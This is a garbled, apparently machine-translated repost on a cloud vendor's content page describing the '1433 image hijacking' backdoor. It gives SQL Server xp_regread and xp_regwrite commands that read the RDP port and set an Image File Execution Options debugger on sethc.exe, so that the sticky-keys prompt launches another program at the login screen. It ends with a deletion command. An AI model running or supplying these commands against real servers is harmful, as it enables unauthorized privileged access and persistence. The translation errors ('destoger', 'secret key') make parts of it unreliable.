1433 image hijacking backdoor Elevation of Privilege

Source: Internet
Author: User

First: 1. the server has enabled the terminal port (the terminal port may not be 3389 and can be queried by itself. the sticky key function of the server is lossless, as long as it can be popped up normally. the server has not disabled registry editing (that is, the write function) SQL command to read the server terminal port: exec master .. xp_regread 'HKEY _ LOCAL_MACHINE ', 'System \ CurrentControlSet \ Control \ Terminal Server \ WinStations \ RDP-Tcp', 'portnumber' 1. SQL command to check whether the registry sticky key is hijacked exec master .. xp_regread 'HKEY _ LOCAL_MACHINE ', 'Software \ Microsoft \ Windows NT \ CurrentVersion \ Image File Execution Options \ sethc.exe', 'destoger' 2. replace the SQL command to hijack the secret key of the Registry with the Task Manager (you can also replace it with other commands you want) xp_regwrite 'HKEY _ LOCAL_MACHINE ', 'Software \ Microsoft \ Windows NT \ CurrentVersion \ Image File Execution Options \ sethc.exe ', 'debugger', 'reg _ SZ', 'c: \ WINDOWS \ system32 \ taskmgr.exe '3. the hijacking function of the SQL command to delete the secret key of the Registry prevents your server from being exploited by others by xp_regdeletekey 'HKEY _ LOCAL_MACHINE ', 'Software \ Microsoft \ Windows NT \ CurrentVersion \ Image File Execution Options \ sethc.exe'

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.